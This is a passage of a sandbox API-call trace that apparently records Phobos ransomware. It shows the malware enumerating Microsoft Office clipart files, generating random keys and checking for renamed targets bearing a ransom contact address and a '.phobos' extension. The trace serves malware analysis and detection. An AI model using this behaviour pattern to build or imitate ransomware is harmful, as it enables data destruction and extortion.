(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 0x220 [0151.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.707] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6596) returned 1 [0151.707] CloseHandle (hObject=0x564) returned 1 [0151.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 0x220 [0151.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.708] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5376) returned 1 [0151.708] CloseHandle (hObject=0x564) returned 1 [0151.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 0x220 [0151.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.709] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.709] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11644) returned 1 [0151.709] CloseHandle (hObject=0x564) returned 1 [0151.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 0x220 [0151.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.710] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10352) returned 1 [0151.710] CloseHandle (hObject=0x564) returned 1 [0151.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 0x220 [0151.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.711] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7500) returned 1 [0151.711] CloseHandle (hObject=0x564) returned 1 [0151.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 0x220 [0151.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.711] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.712] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12352) returned 1 [0151.712] CloseHandle (hObject=0x564) returned 1 [0151.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 0x220 [0151.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.712] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.712] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9344) returned 1 [0151.712] CloseHandle (hObject=0x564) returned 1 [0151.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 0x220 [0151.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.714] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16354) returned 1 [0151.714] CloseHandle (hObject=0x564) returned 1 [0151.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 0x220 [0151.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.714] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.715] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5372) returned 1 [0151.715] CloseHandle (hObject=0x564) returned 1 [0151.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 0x220 [0151.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.715] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.715] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7116) returned 1 [0151.715] CloseHandle (hObject=0x564) returned 1 [0151.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 0x220 [0151.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.716] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.716] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7572) returned 1 [0151.716] CloseHandle (hObject=0x564) returned 1 [0151.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 0x220 [0151.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.717] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8732) returned 1 [0151.717] CloseHandle (hObject=0x564) returned 1 [0151.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 0x220 [0151.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.718] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2732) returned 1 [0151.718] CloseHandle (hObject=0x564) returned 1 [0151.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 0x220 [0151.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.718] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.719] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9108) returned 1 [0151.719] CloseHandle (hObject=0x564) returned 1 [0151.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 0x220 [0151.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.719] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.719] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10820) returned 1 [0151.719] CloseHandle (hObject=0x564) returned 1 [0151.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 0x220 [0151.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.720] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.720] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4696) returned 1 [0151.720] CloseHandle (hObject=0x564) returned 1 [0151.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 0x220 [0151.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.721] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: 